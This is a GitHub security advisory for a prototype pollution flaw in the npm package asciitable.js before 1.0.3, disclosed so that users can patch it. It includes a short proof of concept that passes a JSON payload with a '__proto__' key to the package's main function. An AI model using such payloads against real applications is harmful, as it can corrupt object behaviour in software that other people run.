ADVISORIES

GitHub Advisory Database

GHSA-5pxj-mhwj-x5gv

Prototype Pollution in asciitable.js

Details

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

Affected packages

EcosystemPackageAffected versions
npmasciitable.js
All versions before 1.0.3 (fixed in 1.0.3)

References